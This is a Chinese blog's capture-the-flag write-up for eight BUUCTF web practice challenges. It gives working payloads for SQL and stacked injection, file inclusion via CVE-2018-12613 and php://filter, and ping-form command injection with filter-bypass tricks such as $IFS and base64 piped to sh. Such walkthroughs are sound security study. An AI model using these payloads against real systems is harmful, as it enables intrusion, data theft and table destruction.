BUUCTF-Web部分刷题记录WriteUp——持续更新
本文记录buuctf日常刷题Web部分,writeup仅供大家参考。
1、[极客大挑战 2019]EasySQL

启动靶机,发现是一个登录点,尝试在用户名输入单引号,发现报错,证明此处存在SQL注入漏洞。

判断是数字型还是字符型
数字型
1' or 1=1 #
字符型
1' or '1'='1 #
发现是数字型并成功注入登录成功,获得flag

2、[极客大挑战 2019]Havefun

启动靶机,查看源代码,发现需要使用get请求方式,传入变量cat值为dog


3、[HCTF 2018]WarmUp

启动靶机,查看源代码,发现source.php

访问/source.php,发现hint.php

访问/hint.php,发现提示flag所在文件ffffllllaaaagggg中

在source.php中,还可以发现CVE-2018-12613的漏洞利用核心代码

其中mt_strpos所起到的作用是返回目标字符串首次出现的位置,联系mb_substr所起到的作用是截取目标字符串对应位置的内容,结合起来就是返回传入变量$page匹配到第一个?之前的内容
再往下分析代码,可以发现文件包含漏洞

结合以上获取的信息,直接用CVE-2018-12613的poc和hint.php的内容利用文件包含构造?file=hint.php%253f/../../../../../ffffllllaaaagggg,获得flag。

4、[ACTF2020 新生赛]Include

启动靶机,点击tips,发现其使用get构造读取文件flag.php,很明显需要使用文件包含解决。

这里需要使用伪协议php://,这个协议会将后面的文件做php处理。
在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
构造?file=php://input发现回显hacker!
证明这里应该是对input协议设置了过滤。

php://filter参数详解如下:
| php://filter 参数 | 描述 |
|---|---|
| resource=<要过滤的数据流> | 必须项。它指定了你要筛选过滤的数据流。 |
| read=<读链的过滤器> | 可选项。可以设定一个或多个过滤器名称,以管道符分隔 |
| write=<写链的过滤器> | 可选项。可以设定一个或多个过滤器名称,以管道符 |
| <; 两个链的过滤器> | 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。 |
最终,可如此构造?file=php://filter/read=convert.base64-encode/resource=flag.php,获取到flag.php的base64加密内容。

base64解码,获得flag。

5、[ACTF2020 新生赛]Exec

启动靶机,发现是一个执行ping的命令行,故推测使用命令执行漏洞解决。
可以使用|管道符来连接我们想要执行的命令
如构造127.0.0.1|cat /flag,获得flag

6、[GXYCTF2019]Ping Ping Ping

启动靶机,根据页面提示可知要使用get请求方式拼接命令,和上一题相似也是使用了命令执行漏洞。
构造?ip=127.0.0.1|ls,可以确认目标在flag.php中

根据返回猜测应该是做了过滤限制,禁用了空格和一些特殊字符


CTF中,常用的绕过空格的方法如下:
<重定向符- set变量
${IFS},$IFS,$ISF$9 - url编码
%20,%09,+,%3c
以上,可如此构造?ip=127.0.0.1||cat$IFS$9index.php,成功读取到index.php

可以看到这句preg_match("/.*f.*l.*a.*g.*/", $ip),不允许输入当中依次出现f,l,a,g这四个字符。
方法一:变量拼接,可以利用自定义的变量b完成正则匹配的绕过,如下构造
?ip=127.0.0.1||b=g;cat$IFS$8fla$b.php
然后检查源代码,发现flag。

方法二:
内联执行,在linux系统中,反引号是作为内联执行,输出查询结果的内容。比如用`ls`查询出index.php。那么`ls`就代表了index.php这个文件。那么我们就可以使用cat命令查看index.php的内容,而这一道题就可以使用cat$IFS$1`ls`这个命令来输出flag了

方法三:Base64编码,可以将cat flag.php进行base64编码绕过正则,再用base -d命令解码,如下构造?ip=127.0.0.1||echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

7、[强网杯 2019]随便注

启动靶机,使用单引号,发现报错,证明存在SQL注入漏洞。

使用order by判断字段数量以后,尝试联合查询,发现这里规则过滤了很多关键词

经过思考,借鉴大佬们的经验,这里需要使用堆叠注入,其原理如下:
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
简单来说我们可以使用;来进行上一句话语句的闭合和下一句话的执行,因此我们可以用SHOW databases和SHOW tables来查看数据库名和表名。
payload:1';SHOW databases;#

payload:1';SHOW tables;#

查看words表中的列名
payload:1';SHOW columns from words;#

flag貌似不在这个表中,再查看一下1919810931114514表中的内容,发现flag。
payload:
1';SHOW columns from `1919810931114514`;#

下面要读取flag的数据,我们的目标语句是select * from '1919810931114514';
这里参考了大佬思路
思路一:
- 通过 rename 先把 words 表改名为其他的表名。
- 把 1919810931114514 表的名字改为 words 。
- 给新 words 表添加新的列名 id 。
- 将 flag 改名为 data。
payload:
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

思路二:因为select被过滤了,所以将payload进行16进制编码
payload:1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

思路三:
payload:
1'; handler `1919810931114514` open as `a`; handler `a` read next;#

思路四:使用'se','lect绕过
payload:
1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#

8、[SUCTF 2019]EasySQL

启动靶机,这题的考点也是堆叠注入,现在SQL注入的题考这个点的挺多的。
查看数据库
payload:1;show databases;#

查看表,发现flag可能在Flag表中,但测试发现from、flag等字节都被过滤了。
payload:1;show tables;#

查询列,理解:当输入为0或者字符时没有回显,当输入非0数字时回显为如下
payload:1;show colmns;

思路一:传入*,0构造select *,0 || 0 from Flag即:select *,0 from Flag
payload:*,0

思路二:猜测源码利用了||符号,可以利用PIPES_AS_CONCAT令||起到连接符的作用
payload:1;set sql_mode=PIPES_AS_CONCAT;select 1
payload解析:这里的逻辑是先把||转换为连接操作符,注意分号隔断了前面的命令,所以要再次添加select来进行查询,这里把1换成其他非零数字也一样会回显flag


浙公网安备 33010602011771号